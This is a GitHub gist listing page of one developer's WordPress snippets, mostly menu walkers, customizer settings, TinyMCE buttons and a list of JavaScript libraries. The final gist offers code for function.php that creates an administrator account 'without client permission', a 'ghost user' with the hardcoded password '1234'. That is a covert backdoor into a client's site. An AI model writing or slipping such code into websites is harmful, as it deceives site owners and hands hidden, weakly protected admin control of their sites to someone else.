Skip to content

Instantly share code, notes, and snippets.

View asufian97's full-sized avatar
🎯
Focusing

Abu Sufian asufian97

🎯
Focusing
  • front-end/wordpress developer
  • Sylhet,Bangladesh
View GitHub Profile
@asufian97
asufian97 / nav menu li and a active.php
Last active November 18, 2022 08:06
wordpress nav menu li add class and li >a>active class
/add li class
function atg_menu_classes($classes, $item, $args) {
if($args->theme_location == 'wpj-main-menu') {
$classes[] = 'hvr-bounce-to-bottom';
}
return $classes;
}
add_filter('nav_menu_css_class','atg_menu_classes',1,3);
//li a add class
@asufian97
asufian97 / foundation4-topbar-menu.php
Created November 12, 2017 00:41 — forked from awshout/foundation4-topbar-menu.php
WordPress Menu & Walker for ZURB's Foundation 4 Top Bar
<?php
add_theme_support('menus');
/**
* Register Menus
* http://codex.wordpress.org/Function_Reference/register_nav_menus#Examples
*/
register_nav_menus(array(
'top-bar-l' => 'Left Top Bar', // registers the menu in the WordPress admin menu editor
'top-bar-r' => 'Right Top Bar'
@asufian97
asufian97 / all_document.php
Created November 12, 2017 14:11
wordpress custom theme register logo
<?php
//start function.php code
function m1_customize_register( $wp_customize ) {
$wp_customize->add_setting( 'm1_logo' ); // Add setting for logo uploader
// Add control for logo uploader (actual uploader)
$wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'm1_logo', array(
'label' => __( 'Upload Logo (replaces text)', 'm1' ),
'section' => 'title_tagline',
@asufian97
asufian97 / function.php
Created November 14, 2017 00:42
sub menu walker
<?php
//add this line on wp_nav menu in header.php
'walker' => new CSS_Menu_Maker_Walker()
?>
<?php
class CSS_Menu_Maker_Walker extends Walker {
var $db_fields = array( 'parent' => 'menu_item_parent', 'id' => 'db_id' );
@asufian97
asufian97 / wordpress-customizer.js
Created November 15, 2017 01:46
wordpress live preview customizer api
//thos code add wordpress-customizer.js
(function($){
wp.customize("ads_code", function(value) {
value.bind(function(newval) {
$("#ads_code").html(newval);
} );
});
})(jQuery);
@asufian97
asufian97 / option.php
Created November 18, 2017 01:49
Add Option in Customize Api
<?php
function mytheme_customize_register( $wp_customize ) {
//All our sections, settings, and controls will be added here
$wp_customize->add_section( 'section_id' , array(
'title' => __( 'Visible Section Name', 'mytheme' ),
'priority' => 30,
) );
@asufian97
asufian97 / wp theme development.php
Created November 18, 2017 01:56
wordpress theme development basic file incclude
header.php
==================================
< ?php bloginfo('name'); ?> = ব্লগের নাম আনার জন্য
< ?php echo get_template_directory_uri(); ?> = ডাইনামিক থিম ডাইরেক্টরী
< ?php bloginfo('stylesheet_url'); ?> = ডাইনামিক স্টাইল শীট
< ?php wp_head(); ?> = হেডারের ক্রীপ্ট পাওয়ার জন্য
index.php
==================================
@asufian97
asufian97 / mce4_button.js
Created November 21, 2017 02:50
this is wordpress short code tinyMc4 button default
(function() {
tinymce.PluginManager.add('my_mce_button', function( editor, url ) {
editor.addButton( 'my_mce_button', {
text: 'Sample Dropdown',
icon: false,
type: 'menubutton',
menu: [
{
text: 'Item 1',
menu: [
@asufian97
asufian97 / javascript_resources.md
Created December 4, 2017 01:25 — forked from cwulff/javascript_resources.md
Here are a set of libraries, plugins and guides which may be useful to your Javascript coding.

Libraries

  • jQuery - The de-facto library for the modern age. It makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
  • Backbone - Backbone.js gives structure to web applications by providing models with key-value binding and custom events, collections with a rich API of enumerable functions, views with declarative event handling, and connects it all to your existing API over a RESTful JSON interface.
  • AngularJS - Conventions based MVC framework for HTML5 apps.
  • Underscore - Underscore is a utility-belt library for JavaScript that provides a lot of the functional programming support that you would expect in Prototype.js (or Ruby), but without extending any of the built-in JavaScript objects.
  • lawnchair - Key/value store adapter for indexdb, localStorage
@asufian97
asufian97 / function.php
Created December 6, 2017 01:42
create wordpress user without client permission. like ghost user and
$userb = new WP_User( wp_create_user( 'amitumi', '1234', '[email protected]' ));
$userb->set_role('administrator');